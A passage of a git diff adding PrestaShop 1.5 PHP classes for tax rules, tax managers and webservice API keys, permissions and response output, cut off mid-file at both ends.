http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + + +/** +* A TaxManager define a way to retrieve tax. +*/ +interface TaxManagerInterface +{ + /** + * This method determine if the tax manager is available for the specified address. + * + * @param Address $address + * @param string $type + * + * @return TaxManager + */ + public static function isAvailableForThisAddress(Address $address); + + /** + * Return the tax calculator associated to this address + * + * @return TaxCalculator + */ + public function getTaxCalculator(); +} + diff --git a/classes/tax/TaxManagerModule.php b/classes/tax/TaxManagerModule.php new file mode 100755 index 0000000..7c1b9e8 --- /dev/null +++ b/classes/tax/TaxManagerModule.php @@ -0,0 +1,54 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class TaxManagerModuleCore extends Module +{ + public $tax_manager_class; + + public function install() + { + return (parent::install() && $this->registerHook('taxManager') ); + } + + public function hookTaxManager($args) + { + $class_file = _PS_MODULE_DIR_.'/'.$this->name.'/'.$this->tax_manager_class.'.php'; + + if (!isset($this->tax_manager_class) || !file_exists($class_file)) + die(sprintf(Tools::displayError('Incorrect Tax Manager class [%s]'), $this->tax_manager_class)); + + require_once($class_file); + + if (!class_exists($this->tax_manager_class)) + die(sprintf(Tools::displayError('Tax Manager class not found [%s]'), $this->tax_manager_class)); + + $class = $this->tax_manager_class; + if (call_user_func(array($class, 'isAvailableForThisAddress'), $args['address'])) + return new $class(); + + return false; + } +} \ No newline at end of file diff --git a/classes/tax/TaxRule.php b/classes/tax/TaxRule.php new file mode 100755 index 0000000..e59a2dd --- /dev/null +++ b/classes/tax/TaxRule.php @@ -0,0 +1,182 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class TaxRuleCore extends ObjectModel +{ + public $id_tax_rules_group; + public $id_country; + public $id_state; + public $zipcode_from; + public $zipcode_to; + public $id_tax; + public $behavior; + public $description; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'tax_rule', + 'primary' => 'id_tax_rule', + 'fields' => array( + 'id_tax_rules_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_country' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_state' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'zipcode_from' => array('type' => self::TYPE_STRING, 'validate' => 'isPostCode'), + 'zipcode_to' => array('type' => self::TYPE_STRING, 'validate' => 'isPostCode'), + 'id_tax' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'behavior' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'description' => array('type' => self::TYPE_STRING, 'validate' => 'isString'), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'id_tax_rules_group' => array('xlink_resource'=> 'tax_rule_groups'), + 'id_state' => array('xlink_resource'=> 'states'), + 'id_country' => array('xlink_resource'=> 'countries') + ), + ); + + public static function deleteByGroupId($id_group) + { + if (empty($id_group)) + die(Tools::displayError()); + + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'tax_rule` + WHERE `id_tax_rules_group` = '.(int)$id_group + ); + } + + public static function retrieveById($id_tax_rule) + { + return Db::getInstance()->getRow(' + SELECT * FROM `'._DB_PREFIX_.'tax_rule` + WHERE `id_tax_rule` = '.(int)$id_tax_rule); + } + + public static function getTaxRulesByGroupId($id_lang, $id_group) + { + return Db::getInstance()->executeS(' + SELECT g.`id_tax_rule`, + c.`name` AS country_name, + s.`name` AS state_name, + t.`rate`, + g.`zipcode_from`, g.`zipcode_to`, + g.`description`, + g.`behavior`, + g.`id_country`, + g.`id_state` + FROM `'._DB_PREFIX_.'tax_rule` g + LEFT JOIN `'._DB_PREFIX_.'country_lang` c ON (g.`id_country` = c.`id_country` AND `id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'state` s ON (g.`id_state` = s.`id_state`) + LEFT JOIN `'._DB_PREFIX_.'tax` t ON (g.`id_tax` = t.`id_tax`) + WHERE `id_tax_rules_group` = '.(int)$id_group.' + ORDER BY `country_name` ASC, `state_name` ASC, `zipcode_from` ASC, `zipcode_to` ASC' + ); + } + + public static function deleteTaxRuleByIdTax($id_tax) + { + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'tax_rule` + WHERE `id_tax` = '.(int)$id_tax + ); + } + + + /** + * @deprecated since 1.5 + */ + public static function deleteTaxRuleByIdCounty($id_county) + { + Tools::displayAsDeprecated(); + return true; + } + + /** + * @param int $id_tax + * @return boolean + */ + public static function isTaxInUse($id_tax) + { + return Db::getInstance()->getValue(' + SELECT COUNT(*) FROM `'._DB_PREFIX_.'tax_rule` WHERE `id_tax` = '.(int)$id_tax + ); + } + + + /** + * @param string $zipcode a range of zipcode (eg: 75000 / 75000-75015) + * @return array an array containing two zipcode ordered by zipcode + */ + public function breakDownZipCode($zip_codes) + { + $zip_codes = preg_split('/-/', $zip_codes); + + $from = $zip_codes[0]; + $to = isset($zip_codes[1]) ? $zip_codes[1]: 0; + if (count($zip_codes) == 2) + { + $from = $zip_codes[0]; + $to = $zip_codes[1]; + if ($zip_codes[0] > $zip_codes[1]) + { + $from = $zip_codes[1]; + $to = $zip_codes[0]; + } + else if ($zip_codes[0] == $zip_codes[1]) + { + $from = $zip_codes[0]; + $to = 0; + } + } + else if (count($zip_codes) == 1) + { + $from = $zip_codes[0]; + $to = 0; + } + + return array($from, $to); + } + + /** + * Replace a tax_rule id by an other one in the tax_rule table + * + * @param int $old_id + * @param int $new_id + */ + public static function swapTaxId($old_id, $new_id) + { + return Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'tax_rule` + SET `id_tax` = '.(int)$new_id.' + WHERE `id_tax` = '.(int)$old_id + ); + } +} + diff --git a/classes/tax/TaxRulesGroup.php b/classes/tax/TaxRulesGroup.php new file mode 100755 index 0000000..02391e1 --- /dev/null +++ b/classes/tax/TaxRulesGroup.php @@ -0,0 +1,150 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + + +class TaxRulesGroupCore extends ObjectModel +{ + public $name; + + /** @var bool active state */ + public $active; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'tax_rules_group', + 'primary' => 'id_tax_rules_group', + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + ), + ); + + protected $webserviceParameters = array( + 'objectsNodeName' => 'tax_rule_groups', + 'objectNodeName' => 'tax_rule_group', + 'fields' => array( + ), + ); + + protected static $_taxes = array(); + + public static function getTaxRulesGroups($only_active = true) + { + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'tax_rules_group` g' + .($only_active ? ' WHERE g.`active` = 1' : '').' + ORDER BY name ASC'); + } + + /** + * @return array an array of tax rules group formatted as $id => $name + */ + public static function getTaxRulesGroupsForOptions() + { + $tax_rules[] = array('id_tax_rules_group' => 0, 'name' => Tools::displayError('No tax')); + return array_merge($tax_rules, TaxRulesGroup::getTaxRulesGroups()); + } + + public function delete() + { + $res = Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'tax_rule` WHERE `id_tax_rules_group`='.(int)$this->id); + return (parent::delete() && $res); + } + /** + * @return array + */ + public static function getAssociatedTaxRatesByIdCountry($id_country) + { + $rows = Db::getInstance()->executeS(' + SELECT rg.`id_tax_rules_group`, t.`rate` + FROM `'._DB_PREFIX_.'tax_rules_group` rg + LEFT JOIN `'._DB_PREFIX_.'tax_rule` tr ON (tr.`id_tax_rules_group` = rg.`id_tax_rules_group`) + LEFT JOIN `'._DB_PREFIX_.'tax` t ON (t.`id_tax` = tr.`id_tax`) + WHERE tr.`id_country` = '.(int)$id_country.' + AND tr.`id_state` = 0 + AND 0 between `zipcode_from` AND `zipcode_to`' + ); + + $res = array(); + foreach ($rows as $row) + $res[$row['id_tax_rules_group']] = $row['rate']; + + return $res; + } + + /** + * Returns the tax rules group id corresponding to the name + * + * @param string name + * @return int id of the tax rules + */ + public static function getIdByName($name) + { + return Db::getInstance()->getValue( + 'SELECT `id_tax_rules_group` + FROM `'._DB_PREFIX_.'tax_rules_group` rg + WHERE `name` = \''.pSQL($name).'\'' + ); + } + + public function hasUniqueTaxRuleForCountry($id_country, $id_state) + { + $rules = TaxRule::getTaxRulesByGroupId((int)Context::getContext()->language->id, (int)$this->id); + foreach ($rules as $rule) + if ($rule['id_country'] == $id_country && $id_state == $rule['id_state'] && !$rule['behavior']) + return true; + + return false; + } + + /** + * @deprecated since 1.5 + */ + public static function getTaxesRate($id_tax_rules_group, $id_country, $id_state, $zipcode) + { + Tools::displayAsDeprecated(); + $rate = 0; + foreach (TaxRulesGroup::getTaxes($id_tax_rules_group, $id_country, $id_state, $zipcode) as $tax) + $rate += (float)$tax->rate; + + return $rate; + } + + /** + * Return taxes associated to this para + * @deprecated since 1.5 + */ + public static function getTaxes($id_tax_rules_group, $id_country, $id_state, $id_county) + { + Tools::displayAsDeprecated(); + return array(); + } + +} + diff --git a/classes/tax/TaxRulesTaxManager.php b/classes/tax/TaxRulesTaxManager.php new file mode 100755 index 0000000..dcb7841 --- /dev/null +++ b/classes/tax/TaxRulesTaxManager.php @@ -0,0 +1,120 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0.1 + */ +class TaxRulesTaxManagerCore implements TaxManagerInterface +{ + public $address; + public $type; + public $tax_calculator; + + protected static $cache_tax_calculator; + + + /** + * + * @param Address $address + * @param mixed An additional parameter for the tax manager (ex: tax rules id for TaxRuleTaxManager) + */ + public function __construct(Address $address, $type) + { + $this->address = $address; + $this->type = $type; + } + + /** + * Returns true if this tax manager is available for this address + * + * @return boolean + */ + public static function isAvailableForThisAddress(Address $address) + { + return true; // default manager, available for all addresses + } + + /** + * Return the tax calculator associated to this address + * + * @return TaxCalculator + */ + public function getTaxCalculator() + { + static $tax_enabled = null; + + if (isset($this->tax_calculator)) + return $this->tax_calculator; + + if ($tax_enabled === null) + $tax_enabled = Configuration::get('PS_TAX'); + + if (!$tax_enabled) + return new TaxCalculator(array()); + + $taxes = array(); + $postcode = 0; + if (!empty($this->address->postcode)) + $postcode = $this->address->postcode; + + if (!isset(self::$cache_tax_calculator[$postcode.'-'.$this->type])) + { + $rows = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'tax_rule` + WHERE `id_country` = '.(int)$this->address->id_country.' + AND `id_tax_rules_group` = '.(int)$this->type.' + AND `id_state` IN (0, '.(int)$this->address->id_state.') + AND (\''.pSQL($postcode).'\' BETWEEN `zipcode_from` AND `zipcode_to` OR (`zipcode_to` = 0 AND `zipcode_from` IN(0, \''.pSQL($postcode).'\'))) + ORDER BY `zipcode_from` DESC, `zipcode_to` DESC, `id_state` DESC, `id_country` DESC'); + + $behavior = 0; + $first_row = true; + + foreach ($rows as $row) + { + $tax = new Tax((int)$row['id_tax']); + + $taxes[] = $tax; + + // the applied behavior correspond to the most specific rules + if ($first_row) + { + $behavior = $row['behavior']; + $first_row = false; + } + + if ($row['behavior'] == 0) + break; + } + + self::$cache_tax_calculator[$postcode.'-'.$this->type] = new TaxCalculator($taxes, $behavior); + } + + return self::$cache_tax_calculator[$postcode.'-'.$this->type]; + } +} + diff --git a/classes/tax/index.php b/classes/tax/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/tax/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/webservice/WebserviceException.php b/classes/webservice/WebserviceException.php new file mode 100755 index 0000000..1865647 --- /dev/null +++ b/classes/webservice/WebserviceException.php @@ -0,0 +1,82 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class WebserviceExceptionCore extends Exception +{ + protected $status; + protected $wrong_value; + protected $available_values; + protected $type; + + const SIMPLE = 0; + const DID_YOU_MEAN = 1; + + public function __construct($message, $code) + { + $exception_code = $code; + if (is_array($code)) + { + $exception_code = $code[0]; + $this->setStatus($code[1]); + } + parent::__construct($message, $exception_code); + $this->type = self::SIMPLE; + } + public function getType() + { + return $this->type; + } + public function setType($type) + { + $this->type = $type; + return $this; + } + public function setStatus($status) + { + if (Validate::isInt($status)) + $this->status = $status; + return $this; + } + public function getStatus() + { + return $this->status; + } + public function getWrongValue() + { + return $this->wrong_value; + } + public function setDidYouMean($wrong_value, $available_values) + { + $this->type = self::DID_YOU_MEAN; + $this->wrong_value = $wrong_value; + $this->available_values = $available_values; + return $this; + } + public function getAvailableValues() + { + return $this->available_values; + } +} \ No newline at end of file diff --git a/classes/webservice/WebserviceKey.php b/classes/webservice/WebserviceKey.php new file mode 100755 index 0000000..decc313 --- /dev/null +++ b/classes/webservice/WebserviceKey.php @@ -0,0 +1,157 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class WebserviceKeyCore extends ObjectModel +{ + /** @var string Key */ + public $key; + + /** @var boolean Webservice Account statuts */ + public $active = true; + + /** @var string Webservice Account description */ + public $description; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'webservice_account', + 'primary' => 'id_webservice_account', + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'key' => array('type' => self::TYPE_STRING, 'required' => true, 'size' => 32), + 'description' => array('type' => self::TYPE_STRING), + ), + ); + + public function add($autodate = true, $nullValues = false) + { + if (WebserviceKey::keyExists($this->key)) + return false; + return parent::add($autodate = true, $nullValues = false); + } + + public static function keyExists($key) + { + return (!Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT `key` + FROM '._DB_PREFIX_.'webservice_account + WHERE `key` = \''.pSQL($key).'\'') ? false : true); + } + + public function delete() + { + if (!parent::delete() || $this->deleteAssociations() === false) + return false; + return true; + } + + public function deleteAssociations() + { + if (Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'webservice_permission` + WHERE `id_webservice_account` = '.(int)$this->id) === false + || + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'webservice_permission` + WHERE `id_webservice_account` = '.(int)$this->id) === false) + return false; + return true; + } + + public static function getPermissionForAccount($auth_key) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT p.* + FROM `'._DB_PREFIX_.'webservice_permission` p + LEFT JOIN `'._DB_PREFIX_.'webservice_account` a ON (a.id_webservice_account = p.id_webservice_account) + WHERE a.key = \''.pSQL($auth_key).'\' + '); + $permissions = array(); + if ($result) + foreach ($result as $row) + $permissions[$row['resource']][] = $row['method']; + return $permissions; + } + + public static function isKeyActive($auth_key) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT a.active + FROM `'._DB_PREFIX_.'webservice_account` a + WHERE a.key = \''.pSQL($auth_key).'\' + '); + if (!isset($result[0])) + return null; + else + return isset($result[0]['active']) && $result[0]['active']; + } + + public static function getClassFromKey($auth_key) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT a.class_name as class + FROM `'._DB_PREFIX_.'webservice_account` a + WHERE a.key = \''.pSQL($auth_key).'\' + '); + if (!isset($result[0])) + return null; + else + return $result[0]['class']; + } + + public static function setPermissionForAccount($id_account, $permissions_to_set) + { + $ok = true; + $sql = 'DELETE FROM `'._DB_PREFIX_.'webservice_permission` WHERE `id_webservice_account` = '.(int)$id_account; + if (!Db::getInstance()->execute($sql)) + $ok = false; + if (isset($permissions_to_set)) + { + $permissions = array(); + $resources = WebserviceRequest::getResources(); + $methods = array('GET', 'PUT', 'POST', 'DELETE', 'HEAD'); + foreach ($permissions_to_set as $resource_name => $resource_methods) + if (in_array($resource_name, array_keys($resources))) + foreach (array_keys($resource_methods) as $method_name) + if (in_array($method_name, $methods)) + $permissions[] = array($method_name, $resource_name); + $account = new WebserviceKey($id_account); + if ($account->deleteAssociations() && $permissions) + { + $sql = 'INSERT INTO `'._DB_PREFIX_.'webservice_permission` (`id_webservice_permission` ,`resource` ,`method` ,`id_webservice_account`) VALUES '; + foreach ($permissions as $permission) + $sql .= '(NULL , \''.pSQL($permission[1]).'\', \''.pSQL($permission[0]).'\', '.(int)$id_account.'), '; + $sql = rtrim($sql, ', '); + if (!Db::getInstance()->execute($sql)) + $ok = false; + } + } + return $ok; + } +} + + diff --git a/classes/webservice/WebserviceOutputBuilder.php b/classes/webservice/WebserviceOutputBuilder.php new file mode 100755 index 0000000..00bae70 --- /dev/null +++ b/classes/webservice/WebserviceOutputBuilder.php @@ -0,0 +1,795 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @todo : Create typed exception for more finer errors check + */ +class WebserviceOutputBuilderCore +{ + /** + * + * @var int constant + */ + const VIEW_LIST = 1; + const VIEW_DETAILS = 2; + + protected $wsUrl; + protected $output; + public $objectRender; + protected $wsResource; + protected $depth = 0; + protected $schemaToDisplay; + protected $fieldsToDisplay; + protected $specificFields = array(); + protected $virtualFields = array(); + protected $statusInt; + protected $wsParamOverrides; + + // Header properties + protected $headerParams = array( + 'Access-Time' => 0, + 'X-Powered-By' => 0, + 'PSWS-Version' => 0, + 'Content-Type' => 0, + ); + + /** + * @var string Status header sent at return + */ + protected $status; + + public function __construct($ws_url) + { + $this->statusInt = 200; + $this->status = $_SERVER['SERVER_PROTOCOL'].' 200 OK'; + $this->wsUrl = $ws_url; + $this->wsParamOverrides = array(); + } + + /** + * Set the render object for set the output format. + * Set the Content-type for the http header. + * + * @param WebserviceOutputInterface $obj_render + * @throw WebserviceException if the object render is not an instance of WebserviceOutputInterface + * @return $this + */ + public function setObjectRender(WebserviceOutputInterface $obj_render) + { + if (!$obj_render instanceof WebserviceOutputInterface) + throw new WebserviceException('Obj_render param must be an WebserviceOutputInterface object type', array(83, 500)); + + $this->objectRender = $obj_render; + $this->objectRender->setWsUrl($this->wsUrl); + if ($this->objectRender->getContentType()) + $this->setHeaderParams('Content-Type', $this->objectRender->getContentType()); + return $this; + } + + /** + * getter + * @return WebserviceOutputInterface + */ + public function getObjectRender() + { + return $this->objectRender; + } + + /** + * Need to have the resource list to get the class name for an entity, + * To build + * + * @param array $resources + * @return $this + */ + public function setWsResources($resources) + { + $this->wsResource = $resources; + return $this; + } + + /** + * This method return an array with each http header params for a content. + * This check each required params. + * + * If this method is overrided don't forget to check required specific params (for xml etc...) + * + * @return array + */ + public function buildHeader() + { + $return = array(); + $return[] = $this->status; + foreach ($this->headerParams as $key => $param) + { + $return[] = trim($key).': '.$param; + } + return $return; + } + + /** + * @param $key The normalized key expected for an http response + * @param $value + * @throw WebserviceException if the key or the value are corrupted + * (use Validate::isCleanHtml method) + * @return $this + */ + public function setHeaderParams($key, $value) + { + if (!Validate::isCleanHtml($key) OR !Validate::isCleanHtml($value)) + throw new WebserviceException('the key or your value is corrupted.', array(94, 500)); + $this->headerParams[$key] = $value; + return $this; + } + + /** + * @param null|string $key if null get all header params otherwise the params specified by the key + * @throw WebserviceException if the key is corrupted (use Validate::isCleanHtml method) + * @throw WebserviceException if the asked key does'nt exists. + * @return array|string + */ + public function getHeaderParams($key = null) + { + $return = ''; + + if (!is_null($key)) + { + if (!Validate::isCleanHtml($key)) + throw new WebserviceException('the key you write is a corrupted text.', array(95, 500)); + if (!array_key_exists($key, $this->headerParams)) + throw new WebserviceException(sprintf('The key %s does\'nt exist', $key), array(96, 500)); + $return = $this->headerParams[$key]; + } + else + $return = $this->headerParams; + + return $return; + } + + /** + * Delete all Header parameters previously set. + * + * @return $this + */ + public function resetHeaderParams() + { + $this->headerParams = array(); + return $this; + } + + /** + * @return string the normalized status for http request + */ + public function getStatus() + { + return $this->status; + } + + public function getStatusInt() + { + return $this->statusInt; + } + /** + * Set the return header status + * + * @param int $num the Http status code + * @return void + */ + public function setStatus($num) + { + $this->statusInt = (int)$num; + switch ($num) + { + case 200 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 200 OK'; + break; + case 201 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 201 Created'; + break; + case 204 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 204 No Content'; + break; + case 304 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 304 Not Modified'; + break; + case 400 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 400 Bad Request'; + break; + case 401 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 401 Unauthorized'; + break; + case 403 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 403 Forbidden'; + break; + case 404 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 404 Not Found'; + break; + case 405 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 405 Method Not Allowed'; + break; + case 500 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 500 Internal Server Error'; + break; + case 501 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 501 Not Implemented'; + break; + case 503 : + $this->status = $_SERVER['SERVER_PROTOCOL'].' 503 Service Unavailable'; + break; + } + } + + /** + * Build errors output using an error array + * + * @param array $errors + * @return string output in the format specified by WebserviceOutputBuilder::objectRender + */ + public function getErrors($errors) + { + if (!empty($errors)) + { + if (isset($this->objectRender)) + { + $str_output = $this->objectRender->renderErrorsHeader(); + foreach ($errors as $error) + { + if (is_array($error)) + $str_output .= $this->objectRender->renderErrors($error[1], $error[0]); + else + $str_output .= $this->objectRender->renderErrors($error); + } + $str_output .= $this->objectRender->renderErrorsFooter(); + $str_output = $this->objectRender->overrideContent($str_output); + } + else + { + $str_output = '<pre>'.print_r($errors, true).'</pre>'; + } + } + return $str_output; + } + + /** + * Build the resource list in the output format specified by WebserviceOutputBuilder::objectRender + * @param $key_permissions + * @return string + */ + public function getResourcesList($key_permissions) + { + if (is_null($this->wsResource)) + throw new WebserviceException ('You must set web service resource for get the resources list.', array(82, 500)); + $output = ''; + $more_attr = array('shop_name' => htmlentities(Configuration::get('PS_SHOP_NAME'))); + $output .= $this->objectRender->renderNodeHeader('api', array(), $more_attr); + foreach ($this->wsResource as $resourceName => $resource) + { + if (in_array($resourceName, array_keys($key_permissions))) + { + $more_attr = array( + 'xlink_resource' => $this->wsUrl.$resourceName, + 'get' => (in_array('GET', $key_permissions[$resourceName]) ? 'true' : 'false'), + 'put' => (in_array('PUT', $key_permissions[$resourceName]) ? 'true' : 'false'), + 'post' => (in_array('POST', $key_permissions[$resourceName]) ? 'true' : 'false'), + 'delete' => (in_array('DELETE', $key_permissions[$resourceName]) ? 'true' : 'false'), + 'head' => (in_array('HEAD', $key_permissions[$resourceName]) ? 'true' : 'false'), + ); + $output .= $this->objectRender->renderNodeHeader($resourceName, array(), $more_attr); + + $output .= $this->objectRender->renderNodeHeader('description', array(), $more_attr); + $output .= $resource['description']; + $output .= $this->objectRender->renderNodeFooter('description', array()); + + if (!isset($resource['specific_management']) || !$resource['specific_management']) + { + $more_attr_schema = array( + 'xlink_resource' => $this->wsUrl.$resourceName.'?schema=blank', + 'type' => 'blank', + ); + $output .= $this->objectRender->renderNodeHeader('schema', array(), $more_attr_schema, false); + $more_attr_schema = array( + 'xlink_resource' => $this->wsUrl.$resourceName.'?schema=synopsis', + 'type' => 'synopsis', + ); + $output .= $this->objectRender->renderNodeHeader('schema', array(), $more_attr_schema, false); + } + $output .= $this->objectRender->renderNodeFooter($resourceName, array()); + } + } + $output .= $this->objectRender->renderNodeFooter('api', array()); + $output = $this->objectRender->overrideContent($output); + return $output; + } + + public function registerOverrideWSParameters($wsrObject, $method) + { + $this->wsParamOverrides[] = array('object' => $wsrObject, 'method' => $method); + } + + /** + * Method is used for each content type + * Different content types are : + * - list of entities, + * - tree diagram of entity details (full or minimum), + * - schema 